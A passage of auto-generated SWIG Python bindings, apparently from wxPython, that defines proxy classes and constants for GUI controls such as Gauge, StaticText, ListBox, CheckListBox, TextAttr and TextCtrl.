"""SetShadowWidth(self, int w)"""
return _controls_.Gauge_SetShadowWidth(*args, **kwargs)
def GetShadowWidth(*args, **kwargs):
"""GetShadowWidth(self) -> int"""
return _controls_.Gauge_GetShadowWidth(*args, **kwargs)
def SetBezelFace(*args, **kwargs):
"""SetBezelFace(self, int w)"""
return _controls_.Gauge_SetBezelFace(*args, **kwargs)
def GetBezelFace(*args, **kwargs):
"""GetBezelFace(self) -> int"""
return _controls_.Gauge_GetBezelFace(*args, **kwargs)
def GetClassDefaultAttributes(*args, **kwargs):
"""
GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes
Get the default attributes for this class. This is useful if you want
to use the same font or colour in your own control as in a standard
control -- which is a much better idea than hard coding specific
colours or fonts which might look completely out of place on the
user's system, especially if it uses themes.
The variant parameter is only relevant under Mac currently and is
ignore under other platforms. Under Mac, it will change the size of
the returned font. See `wx.Window.SetWindowVariant` for more about
this.
"""
return _controls_.Gauge_GetClassDefaultAttributes(*args, **kwargs)
GetClassDefaultAttributes = staticmethod(GetClassDefaultAttributes)
BezelFace = property(GetBezelFace,SetBezelFace,doc="See `GetBezelFace` and `SetBezelFace`")
Range = property(GetRange,SetRange,doc="See `GetRange` and `SetRange`")
ShadowWidth = property(GetShadowWidth,SetShadowWidth,doc="See `GetShadowWidth` and `SetShadowWidth`")
Value = property(GetValue,SetValue,doc="See `GetValue` and `SetValue`")
_controls_.Gauge_swigregister(Gauge)
GaugeNameStr = cvar.GaugeNameStr
def PreGauge(*args, **kwargs):
"""PreGauge() -> Gauge"""
val = _controls_.new_PreGauge(*args, **kwargs)
return val
def Gauge_GetClassDefaultAttributes(*args, **kwargs):
"""
Gauge_GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes
Get the default attributes for this class. This is useful if you want
to use the same font or colour in your own control as in a standard
control -- which is a much better idea than hard coding specific
colours or fonts which might look completely out of place on the
user's system, especially if it uses themes.
The variant parameter is only relevant under Mac currently and is
ignore under other platforms. Under Mac, it will change the size of
the returned font. See `wx.Window.SetWindowVariant` for more about
this.
"""
return _controls_.Gauge_GetClassDefaultAttributes(*args, **kwargs)
#---------------------------------------------------------------------------
class StaticBox(_core.Control):
"""Proxy of C++ StaticBox class"""
thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
__repr__ = _swig_repr
def __init__(self, *args, **kwargs):
"""
__init__(self, Window parent, int id=-1, String label=EmptyString,
Point pos=DefaultPosition, Size size=DefaultSize,
long style=0, String name=StaticBoxNameStr) -> StaticBox
"""
_controls_.StaticBox_swiginit(self,_controls_.new_StaticBox(*args, **kwargs))
self._setOORInfo(self)
def Create(*args, **kwargs):
"""
Create(self, Window parent, int id=-1, String label=EmptyString,
Point pos=DefaultPosition, Size size=DefaultSize,
long style=0, String name=StaticBoxNameStr) -> bool
"""
return _controls_.StaticBox_Create(*args, **kwargs)
def GetClassDefaultAttributes(*args, **kwargs):
"""
GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes
Get the default attributes for this class. This is useful if you want
to use the same font or colour in your own control as in a standard
control -- which is a much better idea than hard coding specific
colours or fonts which might look completely out of place on the
user's system, especially if it uses themes.
The variant parameter is only relevant under Mac currently and is
ignore under other platforms. Under Mac, it will change the size of
the returned font. See `wx.Window.SetWindowVariant` for more about
this.
"""
return _controls_.StaticBox_GetClassDefaultAttributes(*args, **kwargs)
GetClassDefaultAttributes = staticmethod(GetClassDefaultAttributes)
_controls_.StaticBox_swigregister(StaticBox)
StaticBitmapNameStr = cvar.StaticBitmapNameStr
StaticBoxNameStr = cvar.StaticBoxNameStr
StaticTextNameStr = cvar.StaticTextNameStr
StaticLineNameStr = cvar.StaticLineNameStr
def PreStaticBox(*args, **kwargs):
"""PreStaticBox() -> StaticBox"""
val = _controls_.new_PreStaticBox(*args, **kwargs)
return val
def StaticBox_GetClassDefaultAttributes(*args, **kwargs):
"""
StaticBox_GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes
Get the default attributes for this class. This is useful if you want
to use the same font or colour in your own control as in a standard
control -- which is a much better idea than hard coding specific
colours or fonts which might look completely out of place on the
user's system, especially if it uses themes.
The variant parameter is only relevant under Mac currently and is
ignore under other platforms. Under Mac, it will change the size of
the returned font. See `wx.Window.SetWindowVariant` for more about
this.
"""
return _controls_.StaticBox_GetClassDefaultAttributes(*args, **kwargs)
#---------------------------------------------------------------------------
class StaticLine(_core.Control):
"""Proxy of C++ StaticLine class"""
thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
__repr__ = _swig_repr
def __init__(self, *args, **kwargs):
"""
__init__(self, Window parent, int id=-1, Point pos=DefaultPosition,
Size size=DefaultSize, long style=LI_HORIZONTAL,
String name=StaticLineNameStr) -> StaticLine
"""
_controls_.StaticLine_swiginit(self,_controls_.new_StaticLine(*args, **kwargs))
self._setOORInfo(self)
def Create(*args, **kwargs):
"""
Create(self, Window parent, int id=-1, Point pos=DefaultPosition,
Size size=DefaultSize, long style=LI_HORIZONTAL,
String name=StaticLineNameStr) -> bool
"""
return _controls_.StaticLine_Create(*args, **kwargs)
def IsVertical(*args, **kwargs):
"""IsVertical(self) -> bool"""
return _controls_.StaticLine_IsVertical(*args, **kwargs)
def GetDefaultSize(*args, **kwargs):
"""GetDefaultSize() -> int"""
return _controls_.StaticLine_GetDefaultSize(*args, **kwargs)
GetDefaultSize = staticmethod(GetDefaultSize)
def GetClassDefaultAttributes(*args, **kwargs):
"""
GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes
Get the default attributes for this class. This is useful if you want
to use the same font or colour in your own control as in a standard
control -- which is a much better idea than hard coding specific
colours or fonts which might look completely out of place on the
user's system, especially if it uses themes.
The variant parameter is only relevant under Mac currently and is
ignore under other platforms. Under Mac, it will change the size of
the returned font. See `wx.Window.SetWindowVariant` for more about
this.
"""
return _controls_.StaticLine_GetClassDefaultAttributes(*args, **kwargs)
GetClassDefaultAttributes = staticmethod(GetClassDefaultAttributes)
_controls_.StaticLine_swigregister(StaticLine)
def PreStaticLine(*args, **kwargs):
"""PreStaticLine() -> StaticLine"""
val = _controls_.new_PreStaticLine(*args, **kwargs)
return val
def StaticLine_GetDefaultSize(*args):
"""StaticLine_GetDefaultSize() -> int"""
return _controls_.StaticLine_GetDefaultSize(*args)
def StaticLine_GetClassDefaultAttributes(*args, **kwargs):
"""
StaticLine_GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes
Get the default attributes for this class. This is useful if you want
to use the same font or colour in your own control as in a standard
control -- which is a much better idea than hard coding specific
colours or fonts which might look completely out of place on the
user's system, especially if it uses themes.
The variant parameter is only relevant under Mac currently and is
ignore under other platforms. Under Mac, it will change the size of
the returned font. See `wx.Window.SetWindowVariant` for more about
this.
"""
return _controls_.StaticLine_GetClassDefaultAttributes(*args, **kwargs)
#---------------------------------------------------------------------------
class StaticText(_core.Control):
"""Proxy of C++ StaticText class"""
thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
__repr__ = _swig_repr
def __init__(self, *args, **kwargs):
"""
__init__(self, Window parent, int id=-1, String label=EmptyString,
Point pos=DefaultPosition, Size size=DefaultSize,
long style=0, String name=StaticTextNameStr) -> StaticText
"""
_controls_.StaticText_swiginit(self,_controls_.new_StaticText(*args, **kwargs))
self._setOORInfo(self)
def Create(*args, **kwargs):
"""
Create(self, Window parent, int id=-1, String label=EmptyString,
Point pos=DefaultPosition, Size size=DefaultSize,
long style=0, String name=StaticTextNameStr) -> bool
"""
return _controls_.StaticText_Create(*args, **kwargs)
def Wrap(*args, **kwargs):
"""
Wrap(self, int width)
This functions wraps the control's label so that each of its lines
becomes at most ``width`` pixels wide if possible (the lines are
broken at words boundaries so it might not be the case if words are
too long). If ``width`` is negative, no wrapping is done.
"""
return _controls_.StaticText_Wrap(*args, **kwargs)
def GetClassDefaultAttributes(*args, **kwargs):
"""
GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes
Get the default attributes for this class. This is useful if you want
to use the same font or colour in your own control as in a standard
control -- which is a much better idea than hard coding specific
colours or fonts which might look completely out of place on the
user's system, especially if it uses themes.
The variant parameter is only relevant under Mac currently and is
ignore under other platforms. Under Mac, it will change the size of
the returned font. See `wx.Window.SetWindowVariant` for more about
this.
"""
return _controls_.StaticText_GetClassDefaultAttributes(*args, **kwargs)
GetClassDefaultAttributes = staticmethod(GetClassDefaultAttributes)
_controls_.StaticText_swigregister(StaticText)
def PreStaticText(*args, **kwargs):
"""PreStaticText() -> StaticText"""
val = _controls_.new_PreStaticText(*args, **kwargs)
return val
def StaticText_GetClassDefaultAttributes(*args, **kwargs):
"""
StaticText_GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes
Get the default attributes for this class. This is useful if you want
to use the same font or colour in your own control as in a standard
control -- which is a much better idea than hard coding specific
colours or fonts which might look completely out of place on the
user's system, especially if it uses themes.
The variant parameter is only relevant under Mac currently and is
ignore under other platforms. Under Mac, it will change the size of
the returned font. See `wx.Window.SetWindowVariant` for more about
this.
"""
return _controls_.StaticText_GetClassDefaultAttributes(*args, **kwargs)
#---------------------------------------------------------------------------
class StaticBitmap(_core.Control):
"""Proxy of C++ StaticBitmap class"""
thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
__repr__ = _swig_repr
def __init__(self, *args, **kwargs):
"""
__init__(self, Window parent, int id=-1, Bitmap bitmap=wxNullBitmap,
Point pos=DefaultPosition, Size size=DefaultSize,
long style=0, String name=StaticBitmapNameStr) -> StaticBitmap
"""
_controls_.StaticBitmap_swiginit(self,_controls_.new_StaticBitmap(*args, **kwargs))
self._setOORInfo(self)
def Create(*args, **kwargs):
"""
Create(self, Window parent, int id=-1, Bitmap bitmap=wxNullBitmap,
Point pos=DefaultPosition, Size size=DefaultSize,
long style=0, String name=StaticBitmapNameStr) -> bool
"""
return _controls_.StaticBitmap_Create(*args, **kwargs)
def GetBitmap(*args, **kwargs):
"""GetBitmap(self) -> Bitmap"""
return _controls_.StaticBitmap_GetBitmap(*args, **kwargs)
def SetBitmap(*args, **kwargs):
"""SetBitmap(self, Bitmap bitmap)"""
return _controls_.StaticBitmap_SetBitmap(*args, **kwargs)
def SetIcon(*args, **kwargs):
"""SetIcon(self, Icon icon)"""
return _controls_.StaticBitmap_SetIcon(*args, **kwargs)
def GetClassDefaultAttributes(*args, **kwargs):
"""
GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes
Get the default attributes for this class. This is useful if you want
to use the same font or colour in your own control as in a standard
control -- which is a much better idea than hard coding specific
colours or fonts which might look completely out of place on the
user's system, especially if it uses themes.
The variant parameter is only relevant under Mac currently and is
ignore under other platforms. Under Mac, it will change the size of
the returned font. See `wx.Window.SetWindowVariant` for more about
this.
"""
return _controls_.StaticBitmap_GetClassDefaultAttributes(*args, **kwargs)
GetClassDefaultAttributes = staticmethod(GetClassDefaultAttributes)
_controls_.StaticBitmap_swigregister(StaticBitmap)
def PreStaticBitmap(*args, **kwargs):
"""PreStaticBitmap() -> StaticBitmap"""
val = _controls_.new_PreStaticBitmap(*args, **kwargs)
return val
def StaticBitmap_GetClassDefaultAttributes(*args, **kwargs):
"""
StaticBitmap_GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes
Get the default attributes for this class. This is useful if you want
to use the same font or colour in your own control as in a standard
control -- which is a much better idea than hard coding specific
colours or fonts which might look completely out of place on the
user's system, especially if it uses themes.
The variant parameter is only relevant under Mac currently and is
ignore under other platforms. Under Mac, it will change the size of
the returned font. See `wx.Window.SetWindowVariant` for more about
this.
"""
return _controls_.StaticBitmap_GetClassDefaultAttributes(*args, **kwargs)
#---------------------------------------------------------------------------
class ListBox(_core.ControlWithItems):
"""Proxy of C++ ListBox class"""
thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
__repr__ = _swig_repr
def __init__(self, *args, **kwargs):
"""
__init__(self, Window parent, int id=-1, Point pos=DefaultPosition,
Size size=DefaultSize, wxArrayString choices=wxPyEmptyStringArray,
long style=0, Validator validator=DefaultValidator,
String name=ListBoxNameStr) -> ListBox
"""
_controls_.ListBox_swiginit(self,_controls_.new_ListBox(*args, **kwargs))
self._setOORInfo(self)
def Create(*args, **kwargs):
"""
Create(self, Window parent, int id=-1, Point pos=DefaultPosition,
Size size=DefaultSize, wxArrayString choices=wxPyEmptyStringArray,
long style=0, Validator validator=DefaultValidator,
String name=ListBoxNameStr) -> bool
"""
return _controls_.ListBox_Create(*args, **kwargs)
def Insert(*args, **kwargs):
"""
Insert(self, String item, int pos, PyObject clientData=None)
Insert an item into the control before the item at the ``pos`` index,
optionally associating some data object with the item.
"""
return _controls_.ListBox_Insert(*args, **kwargs)
def InsertItems(*args, **kwargs):
"""InsertItems(self, wxArrayString items, unsigned int pos)"""
return _controls_.ListBox_InsertItems(*args, **kwargs)
def Set(*args, **kwargs):
"""Set(self, wxArrayString items)"""
return _controls_.ListBox_Set(*args, **kwargs)
def IsSelected(*args, **kwargs):
"""IsSelected(self, int n) -> bool"""
return _controls_.ListBox_IsSelected(*args, **kwargs)
def SetSelection(*args, **kwargs):
"""SetSelection(self, int n, bool select=True)"""
return _controls_.ListBox_SetSelection(*args, **kwargs)
def Select(*args, **kwargs):
"""
Select(self, int n)
This is the same as `SetSelection` and exists only because it is
slightly more natural for controls which support multiple selection.
"""
return _controls_.ListBox_Select(*args, **kwargs)
def Deselect(*args, **kwargs):
"""Deselect(self, int n)"""
return _controls_.ListBox_Deselect(*args, **kwargs)
def DeselectAll(*args, **kwargs):
"""DeselectAll(self, int itemToLeaveSelected=-1)"""
return _controls_.ListBox_DeselectAll(*args, **kwargs)
def SetStringSelection(*args, **kwargs):
"""SetStringSelection(self, String s, bool select=True) -> bool"""
return _controls_.ListBox_SetStringSelection(*args, **kwargs)
def GetSelections(*args, **kwargs):
"""GetSelections(self) -> PyObject"""
return _controls_.ListBox_GetSelections(*args, **kwargs)
def SetFirstItem(*args, **kwargs):
"""SetFirstItem(self, int n)"""
return _controls_.ListBox_SetFirstItem(*args, **kwargs)
def SetFirstItemStr(*args, **kwargs):
"""SetFirstItemStr(self, String s)"""
return _controls_.ListBox_SetFirstItemStr(*args, **kwargs)
def EnsureVisible(*args, **kwargs):
"""EnsureVisible(self, int n)"""
return _controls_.ListBox_EnsureVisible(*args, **kwargs)
def AppendAndEnsureVisible(*args, **kwargs):
"""AppendAndEnsureVisible(self, String s)"""
return _controls_.ListBox_AppendAndEnsureVisible(*args, **kwargs)
def IsSorted(*args, **kwargs):
"""IsSorted(self) -> bool"""
return _controls_.ListBox_IsSorted(*args, **kwargs)
def HitTest(*args, **kwargs):
"""
HitTest(self, Point pt) -> int
Test where the given (in client coords) point lies
"""
return _controls_.ListBox_HitTest(*args, **kwargs)
def SetItemForegroundColour(*args, **kwargs):
"""SetItemForegroundColour(self, int item, Colour c)"""
return _controls_.ListBox_SetItemForegroundColour(*args, **kwargs)
def SetItemBackgroundColour(*args, **kwargs):
"""SetItemBackgroundColour(self, int item, Colour c)"""
return _controls_.ListBox_SetItemBackgroundColour(*args, **kwargs)
def SetItemFont(*args, **kwargs):
"""SetItemFont(self, int item, Font f)"""
return _controls_.ListBox_SetItemFont(*args, **kwargs)
def GetClassDefaultAttributes(*args, **kwargs):
"""
GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes
Get the default attributes for this class. This is useful if you want
to use the same font or colour in your own control as in a standard
control -- which is a much better idea than hard coding specific
colours or fonts which might look completely out of place on the
user's system, especially if it uses themes.
The variant parameter is only relevant under Mac currently and is
ignore under other platforms. Under Mac, it will change the size of
the returned font. See `wx.Window.SetWindowVariant` for more about
this.
"""
return _controls_.ListBox_GetClassDefaultAttributes(*args, **kwargs)
GetClassDefaultAttributes = staticmethod(GetClassDefaultAttributes)
Selections = property(GetSelections,doc="See `GetSelections`")
_controls_.ListBox_swigregister(ListBox)
ListBoxNameStr = cvar.ListBoxNameStr
def PreListBox(*args, **kwargs):
"""PreListBox() -> ListBox"""
val = _controls_.new_PreListBox(*args, **kwargs)
return val
def ListBox_GetClassDefaultAttributes(*args, **kwargs):
"""
ListBox_GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes
Get the default attributes for this class. This is useful if you want
to use the same font or colour in your own control as in a standard
control -- which is a much better idea than hard coding specific
colours or fonts which might look completely out of place on the
user's system, especially if it uses themes.
The variant parameter is only relevant under Mac currently and is
ignore under other platforms. Under Mac, it will change the size of
the returned font. See `wx.Window.SetWindowVariant` for more about
this.
"""
return _controls_.ListBox_GetClassDefaultAttributes(*args, **kwargs)
#---------------------------------------------------------------------------
class CheckListBox(ListBox):
"""Proxy of C++ CheckListBox class"""
thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
__repr__ = _swig_repr
def __init__(self, *args, **kwargs):
"""
__init__(self, Window parent, int id=-1, Point pos=DefaultPosition,
Size size=DefaultSize, wxArrayString choices=wxPyEmptyStringArray,
long style=0, Validator validator=DefaultValidator,
String name=ListBoxNameStr) -> CheckListBox
"""
_controls_.CheckListBox_swiginit(self,_controls_.new_CheckListBox(*args, **kwargs))
self._setOORInfo(self)
def Create(*args, **kwargs):
"""
Create(self, Window parent, int id=-1, Point pos=DefaultPosition,
Size size=DefaultSize, wxArrayString choices=wxPyEmptyStringArray,
long style=0, Validator validator=DefaultValidator,
String name=ListBoxNameStr) -> bool
"""
return _controls_.CheckListBox_Create(*args, **kwargs)
def IsChecked(*args, **kwargs):
"""IsChecked(self, unsigned int index) -> bool"""
return _controls_.CheckListBox_IsChecked(*args, **kwargs)
def Check(*args, **kwargs):
"""Check(self, unsigned int index, int check=True)"""
return _controls_.CheckListBox_Check(*args, **kwargs)
def GetItemHeight(*args, **kwargs):
"""GetItemHeight(self) -> int"""
return _controls_.CheckListBox_GetItemHeight(*args, **kwargs)
def GetChecked(self):
"""
GetChecked(self)
Return a tuple of integers corresponding to the checked items in
the control, based on `IsChecked`.
"""
return tuple([i for i in range(self.Count) if self.IsChecked(i)])
def GetCheckedStrings(self):
"""
GetCheckedStrings(self)
Return a tuple of strings corresponding to the checked
items of the control, based on `GetChecked`.
"""
return tuple([self.GetString(i) for i in self.GetChecked()])
def SetChecked(self, indexes):
"""
SetChecked(self, indexes)
Sets the checked state of items if the index of the item is
found in the indexes sequence.
"""
for i in indexes:
assert 0 <= i < self.Count, "Index (%s) out of range" % i
for i in range(self.Count):
self.Check(i, i in indexes)
def SetCheckedStrings(self, strings):
"""
SetCheckedStrings(self, indexes)
Sets the checked state of items if the item's string is found
in the strings sequence.
"""
for s in strings:
assert s in self.GetStrings(), "String ('%s') not found" % s
for i in range(self.Count):
self.Check(i, self.GetString(i) in strings)
Checked = property(GetChecked,SetChecked)
CheckedStrings = property(GetCheckedStrings,SetCheckedStrings)
ItemHeight = property(GetItemHeight)
_controls_.CheckListBox_swigregister(CheckListBox)
def PreCheckListBox(*args, **kwargs):
"""PreCheckListBox() -> CheckListBox"""
val = _controls_.new_PreCheckListBox(*args, **kwargs)
return val
#---------------------------------------------------------------------------
TE_NO_VSCROLL = _controls_.TE_NO_VSCROLL
TE_AUTO_SCROLL = _controls_.TE_AUTO_SCROLL
TE_READONLY = _controls_.TE_READONLY
TE_MULTILINE = _controls_.TE_MULTILINE
TE_PROCESS_TAB = _controls_.TE_PROCESS_TAB
TE_LEFT = _controls_.TE_LEFT
TE_CENTER = _controls_.TE_CENTER
TE_RIGHT = _controls_.TE_RIGHT
TE_CENTRE = _controls_.TE_CENTRE
TE_RICH = _controls_.TE_RICH
TE_PROCESS_ENTER = _controls_.TE_PROCESS_ENTER
TE_PASSWORD = _controls_.TE_PASSWORD
TE_AUTO_URL = _controls_.TE_AUTO_URL
TE_NOHIDESEL = _controls_.TE_NOHIDESEL
TE_DONTWRAP = _controls_.TE_DONTWRAP
TE_CHARWRAP = _controls_.TE_CHARWRAP
TE_WORDWRAP = _controls_.TE_WORDWRAP
TE_BESTWRAP = _controls_.TE_BESTWRAP
TE_RICH2 = _controls_.TE_RICH2
TE_CAPITALIZE = _controls_.TE_CAPITALIZE
TE_LINEWRAP = TE_CHARWRAP
TEXT_ALIGNMENT_DEFAULT = _controls_.TEXT_ALIGNMENT_DEFAULT
TEXT_ALIGNMENT_LEFT = _controls_.TEXT_ALIGNMENT_LEFT
TEXT_ALIGNMENT_CENTRE = _controls_.TEXT_ALIGNMENT_CENTRE
TEXT_ALIGNMENT_CENTER = _controls_.TEXT_ALIGNMENT_CENTER
TEXT_ALIGNMENT_RIGHT = _controls_.TEXT_ALIGNMENT_RIGHT
TEXT_ALIGNMENT_JUSTIFIED = _controls_.TEXT_ALIGNMENT_JUSTIFIED
TEXT_ATTR_TEXT_COLOUR = _controls_.TEXT_ATTR_TEXT_COLOUR
TEXT_ATTR_BACKGROUND_COLOUR = _controls_.TEXT_ATTR_BACKGROUND_COLOUR
TEXT_ATTR_FONT_FACE = _controls_.TEXT_ATTR_FONT_FACE
TEXT_ATTR_FONT_SIZE = _controls_.TEXT_ATTR_FONT_SIZE
TEXT_ATTR_FONT_WEIGHT = _controls_.TEXT_ATTR_FONT_WEIGHT
TEXT_ATTR_FONT_ITALIC = _controls_.TEXT_ATTR_FONT_ITALIC
TEXT_ATTR_FONT_UNDERLINE = _controls_.TEXT_ATTR_FONT_UNDERLINE
TEXT_ATTR_FONT = _controls_.TEXT_ATTR_FONT
TEXT_ATTR_ALIGNMENT = _controls_.TEXT_ATTR_ALIGNMENT
TEXT_ATTR_LEFT_INDENT = _controls_.TEXT_ATTR_LEFT_INDENT
TEXT_ATTR_RIGHT_INDENT = _controls_.TEXT_ATTR_RIGHT_INDENT
TEXT_ATTR_TABS = _controls_.TEXT_ATTR_TABS
TE_HT_UNKNOWN = _controls_.TE_HT_UNKNOWN
TE_HT_BEFORE = _controls_.TE_HT_BEFORE
TE_HT_ON_TEXT = _controls_.TE_HT_ON_TEXT
TE_HT_BELOW = _controls_.TE_HT_BELOW
TE_HT_BEYOND = _controls_.TE_HT_BEYOND
OutOfRangeTextCoord = _controls_.OutOfRangeTextCoord
InvalidTextCoord = _controls_.InvalidTextCoord
TEXT_TYPE_ANY = _controls_.TEXT_TYPE_ANY
class TextAttr(object):
"""Proxy of C++ TextAttr class"""
thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
__repr__ = _swig_repr
def __init__(self, *args, **kwargs):
"""
__init__(self, Colour colText=wxNullColour, Colour colBack=wxNullColour,
Font font=wxNullFont, int alignment=TEXT_ALIGNMENT_DEFAULT) -> TextAttr
"""
_controls_.TextAttr_swiginit(self,_controls_.new_TextAttr(*args, **kwargs))
__swig_destroy__ = _controls_.delete_TextAttr
__del__ = lambda self : None;
def Init(*args, **kwargs):
"""Init(self)"""
return _controls_.TextAttr_Init(*args, **kwargs)
def Merge(*args, **kwargs):
"""Merge(TextAttr base, TextAttr overlay) -> TextAttr"""
return _controls_.TextAttr_Merge(*args, **kwargs)
Merge = staticmethod(Merge)
def SetTextColour(*args, **kwargs):
"""SetTextColour(self, Colour colText)"""
return _controls_.TextAttr_SetTextColour(*args, **kwargs)
def SetBackgroundColour(*args, **kwargs):
"""SetBackgroundColour(self, Colour colBack)"""
return _controls_.TextAttr_SetBackgroundColour(*args, **kwargs)
def SetFont(*args, **kwargs):
"""SetFont(self, Font font, long flags=TEXT_ATTR_FONT)"""
return _controls_.TextAttr_SetFont(*args, **kwargs)
def SetAlignment(*args, **kwargs):
"""SetAlignment(self, int alignment)"""
return _controls_.TextAttr_SetAlignment(*args, **kwargs)
def SetTabs(*args, **kwargs):
"""SetTabs(self, wxArrayInt tabs)"""
return _controls_.TextAttr_SetTabs(*args, **kwargs)
def SetLeftIndent(*args, **kwargs):
"""SetLeftIndent(self, int indent, int subIndent=0)"""
return _controls_.TextAttr_SetLeftIndent(*args, **kwargs)
def SetRightIndent(*args, **kwargs):
"""SetRightIndent(self, int indent)"""
return _controls_.TextAttr_SetRightIndent(*args, **kwargs)
def SetFlags(*args, **kwargs):
"""SetFlags(self, long flags)"""
return _controls_.TextAttr_SetFlags(*args, **kwargs)
def HasTextColour(*args, **kwargs):
"""HasTextColour(self) -> bool"""
return _controls_.TextAttr_HasTextColour(*args, **kwargs)
def HasBackgroundColour(*args, **kwargs):
"""HasBackgroundColour(self) -> bool"""
return _controls_.TextAttr_HasBackgroundColour(*args, **kwargs)
def HasFont(*args, **kwargs):
"""HasFont(self) -> bool"""
return _controls_.TextAttr_HasFont(*args, **kwargs)
def HasAlignment(*args, **kwargs):
"""HasAlignment(self) -> bool"""
return _controls_.TextAttr_HasAlignment(*args, **kwargs)
def HasTabs(*args, **kwargs):
"""HasTabs(self) -> bool"""
return _controls_.TextAttr_HasTabs(*args, **kwargs)
def HasLeftIndent(*args, **kwargs):
"""HasLeftIndent(self) -> bool"""
return _controls_.TextAttr_HasLeftIndent(*args, **kwargs)
def HasRightIndent(*args, **kwargs):
"""HasRightIndent(self) -> bool"""
return _controls_.TextAttr_HasRightIndent(*args, **kwargs)
def HasFlag(*args, **kwargs):
"""HasFlag(self, long flag) -> bool"""
return _controls_.TextAttr_HasFlag(*args, **kwargs)
def GetTextColour(*args, **kwargs):
"""GetTextColour(self) -> Colour"""
return _controls_.TextAttr_GetTextColour(*args, **kwargs)
def GetBackgroundColour(*args, **kwargs):
"""GetBackgroundColour(self) -> Colour"""
return _controls_.TextAttr_GetBackgroundColour(*args, **kwargs)
def GetFont(*args, **kwargs):
"""GetFont(self) -> Font"""
return _controls_.TextAttr_GetFont(*args, **kwargs)
def GetAlignment(*args, **kwargs):
"""GetAlignment(self) -> int"""
return _controls_.TextAttr_GetAlignment(*args, **kwargs)
def GetTabs(*args, **kwargs):
"""GetTabs(self) -> wxArrayInt"""
return _controls_.TextAttr_GetTabs(*args, **kwargs)
def GetLeftIndent(*args, **kwargs):
"""GetLeftIndent(self) -> long"""
return _controls_.TextAttr_GetLeftIndent(*args, **kwargs)
def GetLeftSubIndent(*args, **kwargs):
"""GetLeftSubIndent(self) -> long"""
return _controls_.TextAttr_GetLeftSubIndent(*args, **kwargs)
def GetRightIndent(*args, **kwargs):
"""GetRightIndent(self) -> long"""
return _controls_.TextAttr_GetRightIndent(*args, **kwargs)
def GetFlags(*args, **kwargs):
"""GetFlags(self) -> long"""
return _controls_.TextAttr_GetFlags(*args, **kwargs)
def IsDefault(*args, **kwargs):
"""IsDefault(self) -> bool"""
return _controls_.TextAttr_IsDefault(*args, **kwargs)
def Combine(*args, **kwargs):
"""Combine(TextAttr attr, TextAttr attrDef, TextCtrl text) -> TextAttr"""
return _controls_.TextAttr_Combine(*args, **kwargs)
Combine = staticmethod(Combine)
Alignment = property(GetAlignment,SetAlignment,doc="See `GetAlignment` and `SetAlignment`")
BackgroundColour = property(GetBackgroundColour,SetBackgroundColour,doc="See `GetBackgroundColour` and `SetBackgroundColour`")
Flags = property(GetFlags,SetFlags,doc="See `GetFlags` and `SetFlags`")
Font = property(GetFont,SetFont,doc="See `GetFont` and `SetFont`")
LeftIndent = property(GetLeftIndent,SetLeftIndent,doc="See `GetLeftIndent` and `SetLeftIndent`")
LeftSubIndent = property(GetLeftSubIndent,doc="See `GetLeftSubIndent`")
RightIndent = property(GetRightIndent,SetRightIndent,doc="See `GetRightIndent` and `SetRightIndent`")
Tabs = property(GetTabs,SetTabs,doc="See `GetTabs` and `SetTabs`")
TextColour = property(GetTextColour,SetTextColour,doc="See `GetTextColour` and `SetTextColour`")
_controls_.TextAttr_swigregister(TextAttr)
TextCtrlNameStr = cvar.TextCtrlNameStr
def TextAttr_Merge(*args, **kwargs):
"""TextAttr_Merge(TextAttr base, TextAttr overlay) -> TextAttr"""
return _controls_.TextAttr_Merge(*args, **kwargs)
def TextAttr_Combine(*args, **kwargs):
"""TextAttr_Combine(TextAttr attr, TextAttr attrDef, TextCtrl text) -> TextAttr"""
return _controls_.TextAttr_Combine(*args, **kwargs)
class TextCtrl(_core.Control):
"""Proxy of C++ TextCtrl class"""
thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
__repr__ = _swig_repr
def __init__(self, *args, **kwargs):
"""
__init__(self, Window parent, int id=-1, String value=EmptyString,
Point pos=DefaultPosition, Size size=DefaultSize,
long style=0, Validator validator=DefaultValidator,
String name=TextCtrlNameStr) -> TextCtrl
"""
_controls_.TextCtrl_swiginit(self,_controls_.new_TextCtrl(*args, **kwargs))
self._setOORInfo(self)
def Create(*args, **kwargs):
"""
Create(self, Window parent, int id=-1, String value=EmptyString,
Point pos=DefaultPosition, Size size=DefaultSize,
long style=0, Validator validator=DefaultValidator,
String name=TextCtrlNameStr) -> bool
"""
return _controls_.TextCtrl_Create(*args, **kwargs)
def GetValue(*args, **kwargs):
"""GetValue(self) -> String"""
return _controls_.TextCtrl_GetValue(*args, **kwargs)
def SetValue(*args, **kwargs):
"""SetValue(self, String value)"""
return _controls_.TextCtrl_SetValue(*args, **kwargs)
def IsEmpty(*args, **kwargs):
"""IsEmpty(self) -> bool"""
return _controls_.TextCtrl_IsEmpty(*args, **kwargs)
def ChangeValue(*args, **kwargs):
"""ChangeValue(self, String value)"""
return _controls_.TextCtrl_ChangeValue(*args, **kwargs)
def GetRange(*args, **kwargs):
"""GetRange(self, long from, long to) -> String"""
return _controls_.TextCtrl_GetRange(*args, **kwargs)
def GetLineLength(*args, **kwargs):
